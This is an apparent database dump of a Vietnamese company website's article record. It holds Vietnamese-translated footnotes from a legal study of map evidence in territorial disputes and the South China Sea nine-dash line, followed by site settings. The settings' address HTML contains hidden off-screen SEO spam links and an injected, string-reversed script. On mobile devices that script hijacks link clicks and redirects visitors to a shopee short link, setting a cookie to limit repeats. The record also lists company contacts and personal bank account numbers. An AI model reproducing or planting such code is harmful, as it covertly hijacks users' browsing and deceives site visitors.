‘‘Evidence in International Adjudication: Map Evidence in Territorial Sovereignty Dispute Cases’’ (2011) 1 Aegean Review of the Law of the Sea and Maritime Law 287.</div> <div> </div> <div> [78] Arbitration Between Great Britain and Portugal as Regards Questions Relative to the Delimitation of their Spheres of Influence in East Africa (Manica plateau) (United Kingdom/Portugal), Decision of 30 January 1897, [2007] XXVIII Reports of International Arbitral Awards 283 at 298.</div> <div> </div> <div> [79] Indo-Pakistan Western Boundary (Rann of Kutch) between India and Pakistan (India v. Pakistan), Award of 19 February 1968, Proposal of Mr. Nasrollah Entezam, [2006] XVII Reports of International Arbitral Awards 1 at 505, nêu: “bản đồ chỉ bằng chứng phụ. Chỉ có bản đồ được chuẩn bị bởi người giám định ngay tại chỗ bằng cách quan sát mới là bằng chứng chính. Thầm chí chúng là bằng chứng chính chỉ cho những điều mà người giám định có thể tự mình quan sát”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Bernardez at 274, para. 37, nêu: “ nói chung, giá trị như là bằng chứng do toà và toà án quốc tế gắn cho chúng là có tính củng cố hay xác nhận cho các kết luận đã được rút ra từ các phương cách khác không dính dáng tới các bản đồ, vì các bản đồ như thế không có danh nghĩa pháp lý”; Island of Palmas, supra note 80 at 853–4, nêu: “dù sao đi nữa, bản đồ chỉ có khả năng đưa ra một chỉ định - và đó là một chỉ định rất gián tiếp - và trừ khi được kèm theo một công cụ pháp lý, không có giá trị của một công cụ như vậy, liên quan đến công nhận hoặc từ bỏ quyền”; ibid., at 853: Nếu trọng tài hài lòng về sự tồn tại của các sự kiện pháp lý có liên quan nhưng các sự kiện này lại mâu thuẫn với lời khai của những người vẽ bản đồ có nguồn thông tin không biết rõ, ông ta có thể sẽ không gán trọng lượng nào cho các bản đồ, tuy các bản đồ này rất nhiều và thường có thể được đánh giá cao.</div> <div> </div> <div> [80] Frontier Dispute, supra note 57 at 583, para. 56. Xem thêm The Government of Sudan/The Sudan People’s Liberation Movement/Army (Abyei Arbitration), Final Award of 22 July 2009, online: PCA http://www.pca-cpa.org at 256, para. 741:</div> <div> Toà án tương tự như vậy rất miễn cưỡng để cân bằng biên giới Đông và Tây của khu vực do Ngok Dinka chiếm đóng chuyển giao vào năm 1905 với mô tả bằng bút chì năm 1933 về khu vực chăn thả gia súc mùa khô của Ngok Dinka trên một bản đồ vẽ phác, đặc biệt là khi toà đã có bằng chứng toàn diện và cụ thể hơn.</div> <div> </div> <div> [81] Sakeus AKWEENDA, ‘‘The Legal Significance of Maps in Boundary Questions: A Reappraisal with Particular Emphasis on Namibia’’ (1990) 60 British Yearbook of International Law 205 at 212; A.O. CUKWURAH, The Settlement of Boundary Disputes in International Law (Manchester: Manchester University Press, 1967) at 224–5; Hyde, supra note 27 at 313–15; Victor PRESCOTT and Gillian D. TRIGGS, International Frontiers and Boundaries: Law, Politics and Geography (Leiden: Nijhoff, 2008) at 194–5; Durward V. SANDIFER, Evidence before International Tribunals, 2nd ed. (Charlottesville: University Press of Virginia, 1975) at 235; Guenter WEISSBERG, ‘‘Maps as Evidence in International Boundary Disputes: A Reappraisal’’, (1963) 57 American Journal of International Law 781 at 781.</div> <div> </div> <div> [82] E.g., Ian BROWNLIE, The Rule of Law in International Affairs: International Law at the Fiftieth Anniversary of the United Nations (The Hague: Martinus Nijhoff, 1998) at 156.</div> <div> </div> <div> [83] Manfred LACHS, ‘‘La preuve et la Cour internationale de Justice’’ in Chaı¨m PERELMAN and Paul FORIERS, eds., La preuve en droit (Brussels: Bruylant, 1981), 109 at 109.</div> <div> </div> <div> [84] Mức phù hợp trong bản đồ không cần phải luôn luôn là tuyệt đối, nhưng nó phải phù hợp trên tổng quát.. Abouel- Wafa, supra note 37 at 432–4.</div> <div> </div> <div> [85] Kasikili/Sedudu Island, supra note 58 at 1100, para. 87; see also Dubai/Sharjah Border Arbitration (Dubai v. Sharjah), Award of 19 October 1981, [1993] 91 International Law Reports 543 at 630, para. 168:</div> <div> Theo quan điểm của Toà án cần phải dẹp sang một bên cả hai bản đồ do ông Walker chuẩn bị, xét về vị trí của Hadlib Azana, vì, mặc dù được chuẩn bị bởi cùng một người, chúng lại mâu thuẫn lẫn nhau về đường ranh giới chung trong khu vực này. Suy đoán thêm về các lý do có thể có cho một mâu thuẫn như vậy là chuyện vô ích.</div> <div> Eritrea/Yemen Arbitration, supra note 80 at 296, para. 388:</div> <div> Các bằng chứng cho thời kỳ này bị vây bủa với các mâu thuẫn và sự không chắc chắn. Mỗi bên đã thể hiện sự không thống nhất trong các bản đồ chính thức của mình. Tuy nhiên, xu hướng chung là bằng chứng bản đồ củaYemen là vượt trội về phạm vi và khối lượng so với Eritrea. Tuy nhiên, trọng lượng như vậy có thể được gắn vào bản đồ bằng chứng ủng hộ của một bên được cân bằng bởi thực tế là mỗi bên đã công bố những bản đồ có vẻ đi ngược với khẳng định của mình trong các thủ tục tố tụng.</div> <div> Delimitation of the Border Between the State of Eritrea and the Federal Democratic Republic of Ethiopia (Eritrea-Ethiopia Boundary Commission), Decision of 1 January 2002, [2002] 41 International Legal Materials 1057 at 1089, para. 4.67:</div> <div> Bằng chứng bản đồ là không đồng nhất và nhất quán. Phần lớn hỗ trợ sự tồn tại của một phóng chiếu của Belesa và gán lãnh thổ bên trong nó cho Eritrea. Tuy nhiên, có nhiều bản đồ không làm như vậy, hoặc chỉ làm như vậy một phần</div> <div> </div> <div> [86] Tuy nhiên xem Separate World’s Geography (Chinese Ya Guang Geographic Publisher, 1951) at 18 (Bản dồ nước Cộng hoà), trong đó chỉ có khoảng nửa số vạch được thể hiện [bản đồ TQ 1951].</div> <div> </div> <div> [87] Xem Chinese State Bureau of Surveying and Mapping, Map World, online: Map World http://www.chinaonmap.cn. Bản đồ này được in lại một phần trong Phụ lục II ở cuối bài viết này.</div> <div> </div> <div> [88] Vì vậy, về mặt kỹ thuật hình như chính xác hơn khi nói đường chấm chấm với số vạch thay đổi, chẳng hạn như là đường 11/9/10-chấm. Tuy nhiên, vì cho tới nay đường 9 chấm là đường mà TQ dựa vào trên bình diện quốc tế để minh định lập trường của họ trong tranh chấp của quốc gia đối với quốc gia nên bài đóng góp này thường sẽ dùng khái niệm “đường 9 chấm”, trừ khi các đường với số chấm khác có ý nghĩa pháp lý.</div> <div> </div> <div> [89] Eritrea/Yemen Arbitration, supra note 80 at 295, para. 382.</div> <div> </div> <div> [90] Các vạch được TQ sử dụng để vẽ đường chữ U không phù hợp với các quy định kỹ thuật biểu đồ do Tổ chức Thủy văn Quốc tế đề ra dùng để chỉ ranh giới biển quốc tế, lãnh hải, vùng tiếp giáp lãnh hải, vùng đặc quyền kinh tế, thềm lục địa, khu thủy sản, vv. Xem International Hydrographic Organization, Regulations of the IHO for International (INT) Charts and Chart Specifications of the IHO, 4th ed. (Monaco: International Hydrographic Bureau, 2010) at B-440, C-407 (International Boundaries and National Limits), online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-4/S4_v4.000_Sep10.pdf . Kiểu lập luận này đã được Ukraina đưa ra chống lại Romania trong vụ ở Biển Đen (Romania v. Ukraine), Counter-memorial of Ukraine, 19 May 2006 at 123–5.</div> <div> [91] International Hydrographic Organization Membership, online: IHO http://www.iho-ohi.net/english/home/about-the-iho/about-iho-member-states/ms-information.html.</div> <div> </div> <div> [92] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40. Xem thêm Frontier Dispute, supra note 57 at 583, para. 57, nêu: “bây giờ Ban thẩm phán (Chamber) quay sang các bản đồ được in trong trường hợp này. Đối với Ban Thẩm phán không có một bản đồ đơn lẻ có sẵn nào có thể nói một cách đáng tin cậy là phản ánh được những ý định của chính quyền thực dân được thể hiện trong các các văn bản liên quan đến biên giới đang có tranh chấp.” Xem thêm Abou-el-Wafa, supra note 37 at 425–6.</div> <div> </div> <div> [93] Smith, supra note 53 at 224.</div> <div> </div> <div> [94] Kasikili/Sedudu Island, supra note 58, Separate Opinion of Judge Oda at 1133–4, para. 40.</div> <div> </div> <div> [95] Cũng phải nói rõ rằng dù ngay cả trong tình huống như thế, việc chế tác bản đồ cũng không phải là một công việc có “giá trị trung lập” về khoa học. Những bóp mép không chủ ý cũng có thể len vào trong quá trình này do những thiên lệch của nhà vẽ bản đồ và bối cảnh xã hội. Jordan BRANCH, ‘‘Mapping the Sovereign State: Technology, Authority, and Systemic Change’’ (2011) 65 International Organization 1 at 7.</div> <div> </div> <div> [96] Trừ khi một bản đồ như vậy đi ngược vị thế của họ. Xem chẳng hạn, Sovereignty over Pedra Branca/Pulau Batu Puteh, Middle Rocks and South Ledge (Malaysia/Singapore), [2008] I.C.J. Rep. 12 at 95, para. 272. Abou-el-Wafa, supra note 37 at 460–2.</div> <div> </div> <div> [97] Beagle Channel Arbitration (Argentina v. Chile), Decision of 18 February 1977, [2006] XXI Reports of International Arbitral Awards 53 at 167, para. 142. Xem thêm Frontier Dispute, supra note 57 at 583, para. 56, nêu rằng: ‘‘những cân nhắc khác để xác định trọng lượng của các bản đồ như là bằng chứng liên quan tới tính trung lập của các nguồn của chúng đối với tranh chấp đang xem xét và với các bên đối với tranh chấp đó.’’</div> <div> </div> <div> [98] Cukwurah, supra note 84 at 224. Xem thêm Hyde, supra note 27 at 315: Các nguyện vọng hung hăng về lãnh thổ của một nước, qua thời gian nhiều năm có thể phản ánh trong một loạt các bản đồ liên tiếp mô tả rõ rệt sự lấn tới dần và thực sự, và những mô tả sau này có thể khác biệt rõ rệt với các mô tả trước đó;dù trên thự tế không có hiệp ước nào mở rộng ranh giới hay điều chỉnh biên giới.</div> <div> </div> <div> [99] Charles DE VISSCHER, Problèmes de confins en droit international public (Paris: Pedone, 1969) at 46. Xem thêm Joseph Charles WITENBERG, ‘‘La théorie des preuves devant les juridictions internationales’’ (1936) 56 Collected Courses of the Hague Academy of International Law 1 at 66: ‘‘la valeur scientifique de la méthode ayant présidé´à leur établissement’’; Abou-el-Wafa, supra note 37 at 431.</div> <div> </div> <div> [100] Ian BROWNLIE, African Boundaries: A Legal and Diplomatic Encyclopaedia (London: Royal Institute of International Affairs, 1979) at 5.</div> <div> </div> <div> [101] Cukwurah, supra note 84 at 217–20.</div> <div> </div> <div> [102] Island of Palmas, supra note 80 at 853. Cited in Dubai/Sharjah Border Arbitration, supra note 88 at 630, para. 168. Xem thêm Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075, para. 3.19, nêu: Ủy ban cũng lưu ý rằng các bản đồ, dù thông tin nó cung cấp nhiều như thế nào, không nhất thiết thể hiện chính xác, khách quan thực tế trên mặt đất’</div> <div> </div> <div> [103] Frontier Dispute, supra note 57 at 582–3, para. 55. Xem thêm Beagle Channel, supra note 100 at 174, para. 154, nêu: “Vì thếTòa án bắt buộc đi đến kết luận rằng bản đồ củaPelliza có tính chất quá không chắc chắn để có giá trị chứng minh đòi hỏi”; Request for Interpretation of the Judgment of 15 June 1962 in the Case concerning the Temple of Preah Vihear (Cambodia v. Thailand), Order of 18 July 2011, Dissenting Opinion of Judge ad hoc Cot, [2011] I.C.J. Rep. 1 at 4, para. 21–2 (tuyên bố quyết định của Toà xác định một khu vực phi quân sự tạm thời là “thiếu thận trọng”dưới ánh sáng của tài liệu bản đồ mà ông cho là hạn chế và không đủ đáng tin cậy theo quan điểm kỹ thuật).</div> <div> </div> <div> [104] Legal Consequences of the Construction of a Wall in the Occupied Palestinian Territory, Advisory Opinion, [2004] I.C.J. Rep. 136 at 168, para. 80. Về việc ICJ chấp nhận ảnh vệ tinh trong các vụ tranh chấp, xem Jana K. HETTLING, ‘‘The Use of Remote Sensing Satellites for Verification in International Law’’ (2003) 19 Space Policy 33 at 38, nghiên cứu sâu hơn của cùng tác giả trong Satellite Imagery for Verification and Enforcement of Public International Law (Cologne: Heymann, 2008) at 157–65.</div> <div> </div> <div> [105] Dzurek, supra note 3 at 12; Zou, supra note 5 at 51.</div> <div> </div> <div> [106] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [107] Xem chẳng hạn bản đồ TQ 1951, supra note 89. Không những một số lượng các vạch chỉ biến đi (ibid.) mà vị trí của những vạch biểu hiện trên rằng bản đồ đó với tỉ lệ 1:23.500.000 rõ ràng là sai biệt với những vạch thấy trong Phụ lục I: ba vạch đầu tiên rõ ràng là thấy được, nhưng vạch đầu tiên nằm theo hướng tây bắc nhiều hơn, vạch thứ hai ở hướng tây nam, và vạch thứ ba theo hướng phía bắc khi so sánh với bản đồ Phụ lục I.</div> <div> </div> <div> [108] Land, Island and Maritime Frontier Dispute (El Salvador/Honduras: Nicaragua Intervening), [1992] I.C.J. Rep. 350 at 550, para. 315. Xem thêm Kasikili/Sedudu Island, supra note 58, Dissenting Opinion of Vice-President Weeramantry at 1176, para. 73:</div> <div> Bản đồ dĩ nhiên có thể mang các mức độ trọng lượng khác nhau tùy thuộc vào tác giả và hoàn cảnh trong đó chúng được làm ra. Hơn nữa, tỉ lệ của các bản đồ thường là quá nhỏ không hiển thị rõ ràng các khu vực cụ thể đang là chủ đề của tranh chấp, trong khi các bản đồ khác đủ lớn có thể chỉ ra các khu vực tranh chấp đầy đủ chi tiết.</div> <div> </div> <div> [109] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1089, para. 4.67. Earlier on in that case (at 1076, para. 3.21), Ủy ban cũng nêu: “một bản đồ ... với tỉ lệ quá nhỏ đến nỗi việc nhập vào sẽ trở thành một vấn đề phải suy xét hơn là sự quan sát chính xác, khó có thể có giá trị pháp lý hay bằng chứng cao.” Xem thêm Case Concerning the Location of Boundary Markers in Taba (Egypt/Israel), Decision of 29 September 1988, [2006] XX Reports of International Arbitral Awards 1 at 48, para. 184:</div> <div> Tòa án không xem xét các chỉ dẫn dựa trên bản đồ là thuyết phục vì tỉ lệ của bản đồ (1:100,000) là quá nhỏ để thể hiện một vị trí trên mặt đất chính xác theo yêu cầu trong những trường hợp này, trong đó khoảng cách giữa các vị trí trụ cột tranh chấp đôi khichỉ một vài mét.</div> <div> Dispute Concerning the Course of the Frontier Between BP 62 and Mount Fitzroy (‘‘Laguna del Desierto’’) (Argentina/Chile), Resolution of 13 October 1995, [1999] 113 International Law Reports 1 at 224:</div> <div> Ngay từ đầu, một số quan sát được lưu ý đến về các bản đồ tỉ lệ 1/10.000 do Chile đệ trình. Những bản đồ này được vẽ với một tỉ lệ lớn hơn đáng kể hơn so với bản đồ của Ủy ban Ranh giới hỗn hợp hoặc những bản đồ kèm theo đệ trình yêu sách chủ quyền của Chile ngày 31 tháng năm 1995, cung cấp một biểu diễn chính xác về địa hình thực sự của mặt đất</div> <div> </div> <div> [110] Maurice KAMTO, ‘‘Sur quelques questions techniques liées à la détermination du tracé d’une frontière maritime de´limitée’’ in Rafael CASADO RAIGON and Giuseppe CATALDI, eds., L’évolution et l’état actuel du droit international de la mer. Mélanges de droit de la mer offerts à Daniel Vignes (Brussels: Bruylant, 2009), 481 at 493–6, tác giả đưa ra một tường trình chi tiết về những khó khăn nghiêm trọng mà Cameroon và Nigeria gặp phải sau đó do sự kiện rằng trong đánh giá của mình ICJ đã dựa trên một biểu đồ Hải quân Anh không chứa bất kỳ chỉ dẫn của mốc đo lường được dùng.</div> <div> </div> <div> [111] Beagle Channel, supra note 100 at 164, para. 137. See also John G. MERRILLS, ‘‘The International Court of Justice and the Adjudication of Territorial and Boundary Disputes’’ (2000) 13 Leiden Journal of International Law 873 at 875, nêu: “về các vấn đề ranh giới và lãnh thổ các bản đồ có khả năng cung cấp bằng chứng về tình hình trên mặt đất và thái độ của các nước có liên quan đối với nó’’; Henry DARWIN, ‘‘Judicial Settlement’’ in Evan LUARD, ed., The International Regulation of Frontier Disputes (London: Thames & Hudson, 1970), 198 at 207–8.</div> <div> </div> <div> [112] Temple of Preah Vihear (Cambodia v. Thailand), [1962] I.C.J. Reports 6 at 23.</div> <div> </div> <div> [113] Delimitation Between Eritrea and Ethiopia, supra note 88 at 1075–6, para. 3.22. Một cách tượng tự Uỷ ban nhận thấy rằng (at 1076, para. 3.21):</div> <div> Tuy nhiên, một bản đồ do một cơ quan chính phủ của một bên vẽ ra, trên một tỉ lệ đủ để cho phép miêu tả của khu vực biên giới tranh chấp là nhận biết được, thường có sẵn để mua hoặc kiểm tra, dù tại nước xuất xứ hoặc ở nơi khác, và bên bị ảnh hưởng bất lợi hành động dựa trên nó, hoặc không phản ứng đối với nó, có thể được dự kiến là sẽ có hậu quả pháp lý quan trọng.</div> <div> </div> <div> [114] Nicaragua v. Honduras, supra note 58 at 735, para. 253.</div> <div> </div> <div> [115] Strupp, supra note 63 at 17.</div> <div> </div> <div> [116] Ibid., at 17, note 98.</div> <div> </div> <div> [117] Yehuda Z. BLUM, Historic Titles in International Law (The Hague: Nijhoff, 1965) at 150.</div> <div> </div> <div> [118] Li and Li, supra note 4 at 290. See also ‘‘Carps Among the Spratlys’’ The Economist (10 March 2011), online: The Economist http://www.economist.com/node/18332702?story_id518332702, stating: ‘‘TQ chỉ vào một bản đồ dùng từ thời THDQ công bố trong cuộc nội chiến những năm 1940 và nói rằng cho tới gần đây không ai quan tâm (mided).”</div> <div> </div> <div> [119] Zhao, supra note 33 at 22, được dịch lại trong Li and Li, supra note 4 at 292.</div> <div> </div> <div> [120] Như lập luận trong bài viết do Nguyễn Hồng Thao trình bày tại Hội thảo quốc tế lần hai, nhan đề là ‘‘The South China Sea: Cooperation for Regional Security and Development’’, tổ chức vào 10–12 /12/ 2010 tại tp Ho Chi Minh, Vietnam: ‘‘South China Sea—Three Stages, Four Challenges, Two Regional Approaches and One Confidence’’ at 12–13. On file with the authors.</div> <div> </div> <div> [121] UN, ‘‘Vietnam: Dispute Regarding the Law on the Exclusive Economic Zone and the Continental Shelf of the People’s Republic of China which was Passed on 26 June 1998’’ (1998) 38 Law of the Sea Bulletin 54 at 55.</div> <div> </div> <div> [122] Vietnam, ‘‘Letter to the Secretary-General of the United Nations—86/HC-2009’’ (8 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm_re_chn_2009re_vnm.pdf.</div> <div> </div> <div> [123] Vietnam, ‘‘Viet Nam Request the Chinese Side to Remove from SBSM Map Service All Data and Information that Violate Viet Nam’s Sovereignty’’ (5 November 2010), online: Ministry of Foreign Affairs http://www.mofa.gov.vn; Vietnam, ‘‘Viet Nam Asks China to Remove Wrongful Data in Its SBSM Map Service’’ (26 January 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn.</div> <div> </div> <div> [124] Vietnam, ‘‘Foreign Ministry Spokesperson Nguyen Phuong Nga Answers Question from the Media at the Press Conference on June 9th 2011 Concerning the Viking II Incident’’ (9 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu ‘”những hành vi có hệ thống của phía TQ nhằm tranh chấp một khu vực không có tranh chấp với mục tiêu hiện thực hoá yêu sách ‘đường 9 chấm’ [sic], một mục tiêu không thể chấp nhận đối với Việt Nam”; Vietnam, ‘‘Press Conference on Chinese Maritime Surveillance Vessel’s cutting exploration cable of PetroViet Nam Seismic Vessel’’ (1 June 2011), online: Ministry of Foreign Affairs http://www.mofa.gov.vn, nêu “Đường chín vạch của TQ ở Biển Đông, còn gọi là ‘đường lưỡi bò’ là hoàn toàn không có căn cứ hợp pháp và trái với Công ước Liên Hợp Quốc năm 1982 về Luật biển mà Trung Quốc là một thành viên. Yêu sách chủ quyền này xâm phạm vùng đặc quyền kinh tế và thềm lục địa của nhiều nước trong khu vực, trong đó có Việt Nam, và do đó nhiều quốc gia bác bỏ. TQ cố gắng để thực hiện tuyên bố này thực tế làm căng thẳng tăng lên trong khu vực.”</div> <div> </div> <div> [125] Meeting of States Parties to the 1982 United Nations Convention on the Law of the Sea, ‘‘Twenty-First Meeting’’ (13–17 June 2011), online: UN Office of Legal Affairs, Division for Ocean Affairs and the Law of the Sea http://www.un.org/Depts/los/meeting_states_parties/twentyfirstmeetingstates parties.htm (as further substantiated by participants in that meeting).</div> <div> </div> <div> [126] . Pensions of Officials of the Saar Territory (Germany, Governing Commission of the Saar Territory), Award of 4 September 1934, [2006] III Reports of International Arbitral Awards 1553 at 1567, nêu: “quyền phản đối của Chính phủ đó chỉ có được vào lúc này khi họ biết về các sự kiện đó”; Fisheries Case, supra note 66 at 139; Nuno Sérgio MARQUES ANTUNES, ‘‘Acquiescence’’ in Wolfrum, ed., supra note 34, 4, para. 21; D.H.N. JOHNSON, ‘‘Acquisitive Prescription in International Law’’ (1950) 27 British Yearbook of International Law 332 at 347, nêu: “nếu không biết thì không thể có sực mặc nhận nào cả”; Jean BARALE, ‘‘L’acquiescement dans la jurisprudence internationale’’ (1965) 11 Annuaire franc¸ais de droit international 389 at 400: ‘‘việc mặc nhận chỉ có thể liên quan đến một tình huống đã được biết đến với nước mặc nhận’, and 401–4; I.C. MACGIBBON, ‘‘The Scope of Acquiescence in International Law’’ (1954) 31 British Yearbook of International Law 143 at 173, nêu: “mệnh đề cho rằng việc sở hữu trên đó quyền sở hữu bằng cách dựa vào thời hiệu (prescription) phải thoả yêu cầu của trạng thái rõ ràng (notoriety) là hiếm khi đáng ngờ”, and 174–6.</div> <div> </div> <div> [127] Barale, supra note 129 at 404–6.</div> <div> </div> <div> [128] Martti KOSKENNIEMI, ‘‘L’affaire du passage par le Grand-Belt’’ (1992) 38 Annuaire français de droit international 905 at 931; Fisheries Case, supra note 66 at 138; Right of Passage over Indian Territory (Portugal v. India), [1960] I.C.J. Rep. 6 at 40. Xem thêm Land, Island and Maritime Frontier Dispute, supra note 111 at 577, para. 364.</div> <div> </div> <div> [129] Fisheries Case, supra note 66 at 138; Chamizal Case (Mexico v. United States), Award of 15 June 1911, [2006] XI Reports of International Arbitral Awards 309 at 329.</div> <div> </div> <div> [130] E.g. Hyung K. LEE, ‘‘Mapping the Law of Legalizing Maps: The Implications of the Emerging Rule on Map Evidence in International Law’’ (2005) 14 Pacific Rim Law and Policy Journal 159 at 159–75, 188; Abou-el-Wafa, supra note 37 at 438–9.</div> <div> </div> <div> [131] Abou-el-Wafa, supra note 37 at 128–9.</div> <div> </div> <div> [132] Xem generally Sam BATEMAN and Ralf EMMERS, eds., Security and International Politics in the South China Sea: Towards a Cooperative Management Regime (Abingdon: Routledge, 2009).</div> <div> </div> <div> [133] . Đối với một tổng quan về các phương pháp hội thảo và thành công của nó, xem SONG Yann-Huei, ‘‘The South China Sea Workshop Process and Taiwan’s Participation’’ (2010) 41 Ocean Development and International Law 253 at 256–60.</div> <div> </div> <div> [134] Xem chẳng hạn. Aldo CHIRCOP, ‘‘Regional Cooperation in Marine Environmental Protection in the South China Sea: A Reflection on New Directions for Marine Conservation’’ (2010) 41 Ocean Development and International Law 334; John W. MCMANUS, SHAO Kwang-Tsao, and LIN Szu-Yin, ‘‘Toward Establishing a Spratly Islands International Marine Peace Park: Ecological Importance and Supportive Collaborative Activities with an Emphasis on the Role of Taiwan’’ (2010) 41 Ocean Development and International Law 270; TUAN Vo Si and John PERNETTA, ‘‘The UNEP/GEF South China Sea Project: Lessons Learnt in Regional Cooperation’’ (2010) 53 Ocean and Coastal Management 589 SONG Yann-Huei, ‘‘AMarine Biodiversity Project in the South China Sea: Joint Efforts Made in the SCS Workshop Process’’ (2011) 26 International Journal of Marine and Coastal Law 119.</div> <div> </div> <div> [135] Robert C. BECKMAN, ‘‘Joint Development of Hydrocarbon Resources in the South China Sea: International Legal Framework’’ (16–17 June 2011), online: National University of Singapore—Centre for International Law http://cil.nus.edu.sg/wp/wp-content/uploads/2011/06/Session-2-Beckman- Session-2-CIL-JD-SCS-pdf.pdf. Xem chẳng hạn. Memorandum of Understanding between Malaysia and the Socialist Republic of Vietnam for the Exploration and Exploitation of Petroleum in a Defined Area of the Continental Shelf Involving the Two Countries, 5 June 1992 (entered into force 4 June 1993), online: NUS-CIL http://cil.nus.edu.sg/1992/1992-memorandum-of-understanding-between-malaysia-and-thesocialist- republic-of-vietnam-for-the-exploration-and-exploitation-of-petroleum-in-a-defined-area-of-thecontinental- shelf-involving-the-two-c/.</div> ', 'images' => '20160621064535a247e33589ec59fdaf79061d7d9daa4f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-19', 'status' => '1', 'view' => '47027', 'slug' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '725', 'rght' => '726', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn 